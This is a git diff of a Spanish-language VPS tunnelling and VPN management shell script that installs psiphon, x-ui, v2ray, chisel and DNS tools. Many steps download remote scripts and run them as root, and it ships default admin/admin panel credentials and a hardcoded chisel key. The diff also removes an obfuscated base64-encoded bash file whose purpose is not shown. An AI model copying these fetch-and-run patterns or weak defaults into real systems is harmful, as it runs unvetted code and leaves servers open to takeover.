+ echo -e "netstat -tlpn | grep -w $httposh > /dev/null || { screen -r -S 'psiserver' -X quit; screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run; }" >>/bin/autoboot
+ }
+ crontab -l > /root/cron
+#echo "@reboot /bin/autoboot" >> /root/cron
+ crontab /root/cron
+ service cron restart
+ rm -f /root/cron
+#-------------------------
+ msg -verd " Con Exito!!!"
+ msg -bar
+ else
+ msg -verm " Con Fallo!!!"
+ msg -bar
+ fi
+cd /root
+
+#portFTP=$(lsof -V -i tcp -P -n | grep apache2 | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | cut -d: -f2 | cut -d' ' -f1 | uniq)
+#_pFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2 | cut -d " " -f1 | uniq)"
+psi=`cat /root/psi.txt`
+echo -e "\033[1;33m SERVER CONFIG:\033[0m"
+echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m"
+echo -e "\033[1;32m $psi \033[0m"
+echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m"
+echo -e "\033[1;33m PROTOCOLOS:\033[0m"
+echo -e "\033[1;33m FRONTED-MEEK-OSSH:\033[1;32m $httposh \033[0m"
+echo -e "\033[1;33m OSSH:\033[1;32m $osh \033[0m"
+echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m"
+echo -e " "
+echo -e "\033[1;33m DIRECTORIO DE ARCHIVOS:\033[1;32m /root/psi \033[0m"
+[[ -z $portFTP ]] && echo -e "SERVICIO FTP NO ACTIVO " || {
+IP="$(cat < /bin/ejecutar/IPcgh)"
+cp /root/psi.txt /var/www/html/psi.txt
+echo -e "\033[1;33m RUTA PUBLICA DE CONFIG GENERADA:\033[1;32m http://$IP:${portFTP}/psi.txt \033[0m"
+}
+fi
+msg -bar
+ echo -e " \033[4;31mNOTA importante\033[0m"
+ echo -e " \033[0;31mSI DESEAS REINICIAR ESTE SERVICIO "
+ echo -e " SE RECOMIENDA SOLO IR AL MENU PRINCIPAL"
+ echo -e " MENU 7, OPCION 1, SUBOBCION 1"
+ echo -e " REINICIARAS TODOS LOS SERVICIOS SIN REINICIAR."
+ echo -e " TU SERVIDOR VPS\033[0m"
+msg -bar
+}
+
+
+antiddos (){
+if [ -d '/usr/local/ddos' ]; then
+ if [ -e '/usr/local/sbin/ddos' ]; then
+ rm -f /usr/local/sbin/ddos
+ fi
+ if [ -d '/usr/local/ddos' ]; then
+ rm -rf /usr/local/ddos
+ fi
+ if [ -e '/etc/cron.d/ddos.cron' ]; then
+ rm -f /etc/cron.d/ddos.cron
+ fi
+ sleep 1s
+ msg -bar
+ echo -e "\033[1;31m ANTIDDOS DESINSTALADO CON EXITO\033[1;37m"
+ msg -bar
+ return 1
+else
+ mkdir /usr/local/ddos
+fi
+wget -q -O /usr/local/ddos/ddos.conf https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/ADM-MANAGER-MOD/master/DDOS/ddos.conf -o /dev/null
+wget -q -O /usr/local/ddos/LICENSE http://www.inetbase.com/scripts/ddos/LICENSE -o /dev/null
+wget -q -O /usr/local/ddos/ignore.ip.list http://www.inetbase.com/scripts/ddos/ignore.ip.list -o /dev/null
+wget -q -O /usr/local/ddos/ddos.sh http://www.inetbase.com/scripts/ddos/ddos.sh -o /dev/null
+chmod 0755 /usr/local/ddos/ddos.sh
+cp -s /usr/local/ddos/ddos.sh /usr/local/sbin/ddos
+/usr/local/ddos/ddos.sh --cron > /dev/null 2>&1
+sleep 2s
+msg -bar
+echo -e "\033[1;32m ANTIDDOS INSTALADO CON EXITO.\033[1;37m"
+msg -bar
+}
+
+v2ui() {
+cd $HOME
+fun_ip(){
+red='\033[0;31m'
+green='\033[0;32m'
+yellow='\033[0;33m'
+plain='\033[0m'
+last_version=$(curl -Ls "https://api.github.com/repos/vaxilu/x-ui/releases/latest" | grep 'V' | sed -E 's/.*"([^"]+)".*/\1/')
+MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MIP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP"
+}
+kill -9 $(ps x|grep -v grep|grep "xray-linu"|awk '{print $1}')
+kill -9 $(ps x|grep -v grep|grep "x-ui"|awk '{print $1}')
+bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh)
+fun_ip
+autogen() {
+x-ui start > /dev/null 2>&1
+x-ui enable > /dev/null 2>&1
+[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui
+[[ -d /etc/x-ui ]] && cd /etc/x-ui
+openssl genrsa -out key.key 2048 > /dev/null 2>&1
+(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"; echo ""; echo "$(cat < /bin/ejecutar/IPcgh):81"; echo ""; echo ""; echo ""; echo "@ChumoGH")|openssl req -new -x509 -key /etc/x-ui/cert.key -out /etc/x-ui/cert.crt -days 1095 > /dev/null 2>&1
+cd $HOME
+fun_bar
+echo -e "CERTIFICADO GENERADO"
+}
+creargen(){
+x-ui start
+x-ui enable
+[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui > /dev/null 2>&1
+[[ -d /etc/x-ui ]] && cd /etc/x-ui > /dev/null 2>&1
+openssl genrsa 2048 > key.key
+openssl req -new -key key.key -x509 -days 1000 -out cert.crt
+#[[ -e /etc/x-ui/key.key ]] && cp /etc/x-ui/key.key /etc/x-ui/cert.key
+#[[ -e /etc/x-ui/cert.crt ]] && cp /etc/x-ui/cert.crt /etc/x-ui/cert.crt
+fun_bar
+echo -e "CERTIFICADO GENERADO"
+}
+certdom () {
+[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui
+[[ -d /etc/x-ui ]] && cd /etc/x-ui
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh)
+[[ -e /data/cert.crt && -e /data/cert.key ]] && {
+cat /data/cert.key > /etc/x-ui/cert.key
+cat /data/cert.crt > /etc/x-ui/cert.crt
+echo -e "CERTIFICADO GENERADO"
+} || {
+echo -e " ERROR AL CREAR CERTIFICADO "
+}
+
+certweb () {
+[[ -e /etc/x-ui/cert.key && -e /etc/x-ui/cert.crt ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25
+msg -bar
+echo -e "Descarga el fichero URL del Certificado SSL "
+msg -bar
+ echo -e " \033[4;31mNOTA importante\033[0m"
+ echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online"
+ echo -e " Si Aun no lo has hecho, Cancela este paso"
+ echo -e " Evitar Errores Futuros"
+ echo -e " y causar problemas en futuras instalaciones.\033[0m"
+ msg -bar
+msg -bar
+echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados "
+msg -bar
+read -p " Pega tu Link : " urlm
+wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido"
+msg -bar
+echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m"
+msg -bar
+unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir "
+[[ -e private.key ]] && cat private.key > /etc/x-ui/cert.key && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m"
+[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt > /etc/x-ui/cert.crt && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m"
+rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME
+}
+}
+
+act_gen () {
+v2ray-cgh="/etc/x-ui" > /dev/null 2>&1
+while [[ ${varread} != @([0-5]) ]]; do
+echo -e "\033[1;33mv2-ui v${last_version}${plain} La instalación está completa y el panel se ha activado??"
+systemctl daemon-reload
+systemctl enable x-ui
+systemctl start x-ui
+echo -e ""
+echo -e " Si se trata de una nueva instalación \n El puerto web predeterminado es ${green}54321${plain},\n El nombre de usuario y la contraseña son ambos predeterminados ${green}admin${plain}"
+echo -e " Asegúrese de que este puerto no esté ocupado por otros programas,\n${yellow}Asegúrate 65432 El puerto ha sido liberado${plain}"
+echo -e " Si desea modificar 65432 a otro puerto, \n ingrese el comando x-ui para modificarlo, \n y también asegúrese de que el puerto que modifica también esté permitido"
+echo -e ""
+echo -e "Si es un panel de actualización, acceda al panel como lo hizo antes, \n A continuacion crearemos su Certificado SSL"
+echo -e ""
+msg -bar
+echo -e " WELCOME TO V2RAY-UI, MOD ChumoGH-ADM \n \033[1;36mREAD THE INSTRUCTIONS CAREFULLY BEFORE CONTINUING....."
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Crear Su Certificado SSL \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m Cargar Certificado WEB \033[0;33m(#EXPERIMENTAL)"
+echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#EXPERIMENTAL)"
+msg -bar
+echo -e " \033[0;35m[\033[0;36m0\033[0;35m] \033[0;34m<\033[0;33m Regresar"
+msg -bar
+echo -ne "${cor[6]}"
+read -p " Opcion : " varread
+done
+msg -bar
+if [[ ${varread} = 0 ]]; then
+return 0
+elif [[ ${varread} = 1 ]]; then
+autogen
+elif [[ ${varread} = 2 ]]; then
+creargen
+elif [[ ${varread} = 3 ]]; then
+certweb
+elif [[ ${varread} = 4 ]]; then
+certdom
+fi
+}
+act_gen
+clear&&clear
+msg -bar
+echo -e "\033[1;36m 1). -PRIMER PASO -"
+msg -bar
+echo -e "\n Desde Cualquier Navegador WEB | \nAccede con \033[1;32m http://$IP:54321 \033[1;31m "
+msg -bar
+echo -e "\033[1;32m 2). -SEGUNDO PASO -"
+msg -bar
+echo -e "\nUSUARIO \033[1;32m admin\033[1;33m PASSWD \033[1;31m admin\033[1;31m "
+msg -bar
+echo -e "\033[1;32m 3). -TERCER PASO -"
+msg -bar
+echo -e "\033[1;34mEn \033[1;32maccounts\033[1;31m añade en \033[1;32m+\033[1;31m y fijate "
+msg -bar
+echo -e "\033[1;32m 4). -CUARTO PASO -"
+msg -bar
+echo -e "\033[1;31mAsegurate de Activar el \033[1;31mTLS"
+msg -bar
+echo -e "\033[1;32m 5). -QUINTO PASO -"
+msg -bar
+echo -e "\033[1;31m Escoje tu Protocolo ADECUADO, \n Y en DOMAIN tu dominio"
+msg -bar
+echo -e "\033[1;32m 6). -SEXTO PASO -"
+msg -bar
+echo -e "\033[1;31m En cert file path : \033[1;33m/etc/x-ui/cert.crt "
+echo -e "\033[1;31m En key file path : \033[1;33m/etc/x-ui/cert.key "
+msg -bar
+echo -e "\033[1;32m 7). -SEPTIMO PASO -"
+msg -bar
+echo -e "\033[1;32m💥 ASEGURATE DE MODIFICAR EL USUARIO Y PUERTO DE ACCESO 💥"
+msg -bar
+echo -e "\033[1;32m 8). -Añade mas Perfiles, Si deseas!! -"
+msg -bar
+echo -e "\033[1;32m 9). -DISFRUTA TU CONFGURACION SI TODO ES CORRECTO -"
+msg -bar
+echo -e "\033[1;32m 9). - Si deseas acceder al PANNEL teclea \033[1;35mx-ui \033[1;32men consola -"
+msg -bar
+echo -e " MANUAL EN EL PORTAL https://seakfind.github.io/2021/10/10/X-UI/ "
+msg -bar
+curl -o /usr/bin/x-ui -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/x-ui.sh
+chmod +x /usr/bin/x-ui
+
+msg -ama " UNLOCK SYSTEMCTL ...."
+ if systemctl daemon-reload &> /dev/null ;then
+ msg -verd " Con exito!!!"
+ msg -bar
+ else
+ msg -verm " Con fallo!!!"
+ msg -bar
+fi
+msg -ama " HABILITANDO X-UI ...."
+ if systemctl x-ui enable &> /dev/null ;then
+ msg -verd " Con exito!!!"
+ msg -bar
+ else
+ msg -verm " Con fallo!!!"
+ msg -bar
+fi
+
+msg -ama " Reiniciando X-UI ...."
+ if systemctl x-ui restart &> /dev/null ;then
+ msg -verd " Con exito!!!"
+ msg -bar
+ else
+ msg -verm " Con fallo!!!"
+ msg -bar
+fi
+
+[[ -f "/usr/sbin/ufw" ]] && ufw allow 54321/tcp 1> /dev/null 2> /dev/null
+}
+
+v2ray-socket() {
+msg -bar
+echo -e "MOTOR DE INSTALACION DE PANNEL WEB Y CONSOLA DE V2RAY Y XRAY"
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Original (Todo en Consola) \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m MENU Rufu99 Mod @ChumoGH \033[0;32m(#OFICIAL) " #\033[0;33m(#EXPERIMENTAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m MENU Reforma @ChumoGH \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Pannel WEB ( X-RAY ) Traduccion @ChumoGH \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m${flech}\033[0;33m REMOVED V2RAY BASE "
+#echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m${flech}\033[0;33m FIX PARA INSTALLS FAILS DE V2RAY "
+msg -bar
+selection=$(selection_fun 7)
+case ${selection} in
+1)
+[[ -e /etc/v2ray/config.json ]] && v2r.sh || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/v2ray.sh)
+;;
+2)
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/v2ray_manager.url.sh)
+;;
+3)
+unset yesno
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+echo "DESEAS ENTRAR AL MENU PASO A PASO "
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+echo 'source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/v2ray1.sh)' > /bin/v2ray.menu
+chmod +x /bin/v2ray.menu
+v2ray.menu
+else
+v2ray
+fi
+exit
+;;
+4)
+[[ -e /usr/bin/x-ui ]] && x-ui || v2ui
+;;
+5)
+source <(curl -sL https://multi.netlify.com/v2ray.sh) --remove
+source <(curl -sL https://git.io/fNgqx) --remove
+rm -rf /usr/local/V2ray.Fun
+rm -f /etc/v2ray/*
+rm -rf /etc/v2ray/
+exit
+;;
+99)
+msg -bar
+echo -e ""
+echo -e " ESTE PROCESO PUEDE DEMORAR UN POCO "
+echo -e ""
+echo -e " LE RECOMENDAMOS SER PACIENTE DURANTE EL PROCESO"
+echo ""
+read -p "PRESIONE ENTER PARA COMENZAR"
+_fix_() {
+apt update
+sudo apt install software-properties-common
+sudo add-apt-repository ppa:deadsnakes/ppa
+apt update
+sudo apt install python3.7 -y
+python3.7 --version
+sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 2
+sudo update-alternatives --config python3
+python3.7 -m pip install pip
+sudo apt-get install -y build-essential checkinstall libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev zlib1g-dev openssl libffi-dev python3-dev python3-setuptools wget
+mkdir /tmp/Python37
+cd /tmp/Python37
+wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz
+tar xvf Python-3.7.0.tar.xz
+cd /tmp/Python37/Python-3.7.0
+./configure
+sudo make altinstall
+ sync
+ echo 3 >/proc/sys/vm/drop_caches
+ sync && sysctl -w vm.drop_caches=3
+ sysctl -w vm.drop_caches=0
+ swapoff -a
+ swapon -a
+ killall kswapd0 > /dev/null 2>&1
+ killall tcpdump > /dev/null 2>&1
+ killall ksoftirqd > /dev/null 2>&1
+}
+function aguarde() {
+ helice() {
+ _fix_ >/dev/null 2>&1 &
+ tput civis
+ while [ -d /proc/$! ]; do
+ for i in / - \\ \|; do
+ sleep .1
+ echo -ne "\e[1D$i"
+ done
+ done
+ tput cnorm
+ }
+ echo -ne "\033[1;37m FIXEANDO PYTHON 3.7 \033[1;32mV2RAY \033[1;37m. \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m"
+ helice
+ echo -e "\e[1DOk"
+}
+echo -e " ESTE PROCESO DEMORARA UN POCO, TENGA PACIENCIA!!!"
+echo -e ""
+aguarde
+#clear&&clear
+msg -bar
+echo -e ""
+echo -e " ESTE PROCESO FINALIZO "
+echo -e ""
+echo -e " PRUEBE INSTALAR V2RAY NUEVAMENTE"
+echo ""
+;;
+*)
+return 0
+;;
+esac
+}
+
+fun_openvpn () {
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/openvpn.sh)
+}
+
+function tcpd(){
+echo -e "A continuacion se instalara el TCP DNS"
+echo -e "Este paquete solo funcionara en Debian/Ubuntu"
+echo -e "AVISO!!!"
+echo -e "Para realizar la instalacion de TCP DNS"
+echo -e "Debes configurar previamente tu DNS/Dominio"
+echo -e "Si aun no lo haz configurado el DNS/Dominio"
+echo -e "Presiona CTRL + C para cancelar la instalacion"
+echo -e "Si ya configuraste tu DNS/Dominio Correctamente, presiona ENTER"
+read -p " "
+echo -e "Espera un momento..."
+echo -e "Limpiando DNS Primario..."
+sleep 1
+sed -i '/DNSStubListener/d' /etc/systemd/resolved.conf
+echo -e "Agregando Fix DNS Primario..."
+sleep 1
+echo "DNSStubListener=no" >> /etc/systemd/resolved.conf
+echo -e "Reiniciando DNS Primario..."
+sleep 1
+ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf
+systemctl restart systemd-resolved
+echo -e "Instalando paquetes Necesarios, espere... "
+sleep 1
+apt-get install python-pip -y 1> /dev/null 2> /dev/null
+apt-get install libevent-dev -y 1> /dev/null 2> /dev/null
+apt-get install python-gevent -y 1> /dev/null 2> /dev/null
+apt-get install python-daemon -y 1> /dev/null 2> /dev/null
+git clone https://github.com/henices/Tcp-DNS-proxy.git 1> /dev/null 2> /dev/null
+cd Tcp-DNS-proxy/
+wget https://raw.githubusercontent.com/serverdensity/python-daemon/master/daemon.py
+chmod +x ./install.sh
+./install.sh
+screen -dmS tcpdns python tcpdns.py -f tcpdns.json.example
+cd /root
+echo -e "TCP DNS Instalado"
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m"
+read -p " "
+return 0
+}
+
+slow-dns () {
+clear&&clear
+apt-get install ncurses-utils > /dev/null 2>&1
+msg -bar
+[[ ! -d /ADMcgh/slow/ ]] && mkdir -p /ADMcgh/slow/
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/SlowDNS.sh)
+}
+
+_funUDP () {
+[[ -e /tmp/udpSS ]] && bash /tmp/udpSS || {
+wget -q -O /tmp/udpSS https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/UDPserver.sh
+bash /tmp/udpSS
+}
+rm -f /tmp/udpSS
+}
+
+function dnsserver(){
+echo -e "Instalando DNS Server"
+curl -sSL https://download.technitium.com/dns/install.sh | bash 1> /dev/null 2> /dev/null
+echo -e "Actualizando DNS del Servidor"
+echo -e "DNS Server Instalado"
+echo -e "Consola Web DNS Server: http://$(cat < /bin/ejecutar/IPcgh):5380/"
+echo -e "No olvide establecer su password admin del Panel"
+}
+
+
+fun_chisel() {
+ cor1='\033[41;1;37m'
+ cor2='\033[44;1;37m'
+ scor='\033[0m'
+ GREEN='\033[1;32m'
+ YELLOW='\033[1;33m'
+ SCOLOR='\033[0m'
+ echo -e "\E[44;1;37m GERENCIAR CHISEL \E[0m"
+ echo ""
+
+
+ [[ "$(netstat -tlpn | grep 'docker' | wc -l)" != '0' ]] && {
+ sks='\033[1;32mON'
+ echo -e "\033[1;33mPORTAS\033[1;37m: \033[1;32m$(netstat -nplt | grep 'docker' | awk {'print $4'} | cut -d: -f2 | xargs)"
+ } || {
+ sks='\033[1;31mOFF'
+ }
+ [[ "$(netstat -tlpn | grep 'docker' | wc -l)" != '0' ]] && {
+ chiselsts="\033[1;32m?? "
+ } || {
+ chiselsts="\033[1;31m?? "
+ }
+ echo ""
+ echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m?? \033[1;33mATIVAR CHISEL $chiselsts \033[0m"
+ echo -e "\033[1;31m[\033[1;36m2\033[1;31m] \033[1;37m?? \033[1;33mREINICIAR CHISEL\033[0m"
+ echo -e "\033[1;31m[\033[1;36m0\033[1;31m] \033[1;37m?? \033[1;33mVOLTAR\033[0m"
+ echo ""
+ echo -ne "\033[1;32mRaj, escolhe uma carta \033[1;33m?\033[1;37m "
+ read resposta
+ if [[ "$resposta" = '1' ]]; then
+ if netstat -nltp | grep 'docker' 1>/dev/null 2>/dev/null; then
+ clear
+ echo -e "\E[41;1;37m CHISEL \E[0m"
+ echo ""
+ fun_chiseloff() {
+ docker stop chisel
+ docker rm chisel
+ docker.io stop chisel
+ docker.io rm chisel
+
+ }
+ echo -e "\033[1;32mDESACTIVANDO CHISEL\033[1;33m"
+ echo ""
+ fun_bar 'fun_chiseloff'
+ echo ""
+ echo -e "\033[1;32mCHISEL DESACTIVADO CON EXITO!\033[1;33m"
+ sleep 3
+ fun_chisel
+ else
+ clear
+ fun_installdocker() {
+ _pacotes=("docker" "docker.io")
+ for _prog in ${_pacotes[@]}; do
+ apt install $_prog -y
+ done
+ }
+ echo -e "\n${YELLOW}ESTEJA CIENTE QUE ESSE METODO É INSTAVEL\nPODE OU NÃO FUNCIONAR NA SUA MAQUINA\nFIQUE CIENTE DOS RISCOS ! ${SCOLOR}\n"
+ echo -ne "${GREEN}DESEJA CONTINUAR A INSTALACAO ? ${YELLOW}[s/n]:${SCOLOR} "
+ read resp
+ [[ "$resp" != @(s|sim|S|SIM) ]] && {
+ echo -e "\n${RED}Retornando...${SCOLOR}"
+ sleep 2
+ conexao
+ }
+ echo -e "\n\033[1;32mSOPORTE A Ubuntu 16+ \033[1;33m"
+ echo -e "\n\033[1;32mINSTALANDO O CHISEL !\033[1;33m"
+ echo ""
+ fun_bar 'fun_installdocker'
+ clear
+ echo -e "\E[44;1;37m CHISEL \E[0m"
+ echo ""
+ echo -ne "\033[1;32mCUAL PORTA DESEA ULTILIZAR \033[1;33m?\033[1;37m: "
+ read porta
+ [[ -z "$porta" ]] && {
+ echo ""
+ echo -e "\033[1;31mPUERTO INVALIDO!"
+ sleep 3
+ clear
+ fun_chisel
+ }
+ verif_ptrs $porta
+ clear
+ echo -ne "\033[1;32mNOMBRE DE USUARIO:\033[1;37m ";read username
+ [[ -z $username ]] && {
+ echo -e "\n${cor1}NO INGRESO NOMBRE DE USUARIO!${scor}\n"
+ fun_chisel
+ }
+ [[ ${username} != ?(+|-)+([a-zA-Z0-9]) ]] && {
+ echo -e "\n${cor1}SU NOMBRE DE USUARIO ES INCORRECTO!${scor}"
+ echo -e "${cor1}NO USE ESPACIOS, NI CARACTERES ESPECIALES!${scor}\n"
+ fun_chisel
+ }
+ sizemin=$(echo ${#username})
+ [[ $sizemin -lt 2 ]] && {
+ echo -e "\n${cor1}Você digitou um nome de usuário muito curto${scor}"
+ echo -e "${cor1}use no mínimo dois caracteres!${scor}\n"
+ fun_chisel
+ }
+ sizemax=$(echo ${#username})
+ [[ $sizemax -gt 10 ]] && {
+ echo -e "\n${cor1}Você digitou um nome de usuário muito grande"
+ echo -e "${cor1}use no máximo 10 caracteres!${scor}\n"
+ fun_chisel
+ }
+ echo -ne "\033[1;32mCONTRASEÑA:\033[1;37m ";read password
+ [[ -z $password ]] && {
+ echo -e "\n${cor1}NO SE INGRESO CONTRASEÑA!${scor}\n"
+ fun_chisel
+ }
+ sizepass=$(echo ${#password})
+ [[ $sizepass -lt 4 ]] && {
+ echo -e "\n${cor1}CONTRASEÑA MUY CORTA, USE MINIMO 4 CARACTERES${scor}\n"
+ fun_chisel
+ }
+ echo -e "\n\033[1;32mCONFIGURANDO CHISEL !\033[0m"
+ echo ""
+ fun_inichisel() {
+ docker run --name chisel -p $porta:$porta -d --restart always jpillora/chisel server -p $porta --socks5 --key supersecret --auth "$username:$password"
+ docker.io run --name chisel -p $porta:$porta -d --restart always jpillora/chisel server -p $porta --socks5 --key supersecret --auth "$username:$password"
+ }
+ fun_bar 'fun_inichisel'
+ clear
+ echo -e "\n\033[1;32mCHISEL INSTALADO EXITOSAMENTE !\033[1;31m PORTA: \033[1;33m${porta}\033[0m"
+ sleep 3
+ clear
+ fun_chisel
+ fi
+ elif [[ "$resposta" = '2' ]]; then
+ clear
+ echo -e "\n\033[1;32mREINICIANDO CHISEL !\033[1;33m"
+ echo ""
+ fun_attchisel() {
+ docker restart chisel
+ docker.io restart chisel
+ }
+ fun_attchisel
+ clear
+ echo -e "\n\033[1;32mCHISEL REINICIANDO EXITOSAMENTE !\033[1;33m"
+ sleep 1
+ fun_chisel
+ elif [[ "$resposta" = '0' ]]; then
+ echo ""
+ echo -e "\033[1;31mRetornando...\033[0m"
+ sleep 1
+ return
+ else
+ echo ""
+ echo -e "\033[1;31mOpcao invalida !\033[0m"
+ sleep 1
+ fi
+ }
+
diff --git a/Lista/shadowsocks.sh b/Lista/shadowsocks.sh
index 142d056..69e1c75 100755
--- a/Lista/shadowsocks.sh
+++ b/Lista/shadowsocks.sh
@@ -1,2 +1,1247 @@
-#!/bin/bash
-wCJyzxfitasMbacjYQUwFmWtLDBiySNpLdTSozbntQsUmYvwKVguyMEfUijqWrzDBkgCqzsyXMWIVNMibzFPJBzfCDElXwJPutjz="tdkKiHVAtrtNXYpQAZJbClLRfbeZQZqpxuhHzUOCyxkXzKdbMMexCRPJODVZsHivTwrNSlZGghpPBQgUhusmvfyQlodOkCJIqrri";ZDdGbzAHwOaQOCRkVKCgSxreAQBVkToNUBrUUBcfZHtjfbEjfDBIQWjBUZzraLldNXlCBMvGnrZzJCQFfSgQQqIdvejtFWHvAuEr="tyEViOykVEIalkWdVeuHlLTzclyAXXBpGLyoOblXSGIXnBHFdHKlckLrfnUhXwJEZjCKvJlUGNYWtacqzoZMtgIUrSiWCYJzMMbV";ItEeoteCPQyZjEHUnBtIUVfOyicFcyAYjxURxmjJassOWzcSaNqrDpZZsxVGqGMJLdSujCOTxUyzIjyKZafEgJtpJItSskmtQXRj="ch";HOpQkMUFPgWqyiENAzcZxuxIuYfFZkzUoZMpZfNGUSLSoITiBzQjmUmybgdlTeUqsWpbETnjIQzFxDuUpJoGMRDUhMHNgLcBNSgb="4";NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv="";oiltTLDAYNsCZQInbQpwAYAlKcEatifYuMahiwRWvHShwbdMyqsGNxpaXMQNovDaVycGclkKmmgzXzbkUcMtyQztTovYEopBgNov="UmjKUNcrHavNmqIRmgyursXWLfvBOOtbFVirTFzBbxyUSxKWgKNNcywDpDtKqHTxFHCCUjPIkWwXpssSorPhSyPIvMpJVgyXynXJ";jbOLajYbAaWPyQxihGsaBXpGclSkqAhwRlxvTRnpXoqxsJAIKepYQAuGpLyMYMqfNempNmjIVPHBCFyvkbzkXwXvjAUCPXxTFkFE=" KMWYzVmC7sjCi0FbsFGdz5WauVHfsxWY0NnbptFIpADJgUWbh5WZzFmYoQCI6U2ZhNXViAyboNWZKISX952bpR3YhtHJbBSIy9mcyVGIzRnbl1WdnJXQiAyboNWZKkiKKszOKM3aj92c39GZhh2cf1nbvlGdjF2ekoQKsxWY0Nnbp5Wd8xGbhR3culmCulGIi0nbvlGdjF2ekICIlNXYjpAbsFGdz5Wa942bpR3YhBiJmASXgEDJgoXLgslCxQSPu9Wa0NWYK0nCpZmCpZmCxACdphXZK8GajVmCi4yb2VWduBSZkBSY05WZ05WagUGIhNWamlmclZHIy9mdhZGIy9GcgwybkFGbhR3culGIv5GI91VMt0HdjVGblN3XuV3eksVZyF2d0Z2bztHJg0VfulWYsB3ekI3byJXR9RWZytHJbJCIl1CIvh2YlpQZzxWZKYXZilGbfN3aj92c39GZhh2cfxGbhR3culmb1pgblhGdgsTXg0Hdp5WafZXZilGbfN3aj92c39GZhh2c7RCIm1CIbBiZppgblhGdgsTXgICNiASP9AiI9R3YlxWZz9lb1tHJiAyWgYWasVmCpZmCxACdphXZK8GajVmCi4yb2VWduBSZkBSY05WZ05WagUGIhNWamlmclZHIy9mdhZGIy9GcgwybkFGbhR3culGIv5GI91VMt0HdjVGblN3XuV3eksVZyF2d0Z2bztHJg0VfulWYsB3ekI3byJXR9RWZytHJbJCIl1CIvh2YlpQZzxWZK82ZfN3aj92c39GZhh2cfxGbhR3culmb1pgblhGdgsTXg0Hdp5Waf92ZfN3aj92c39GZhh2c7RCIm1CIbBi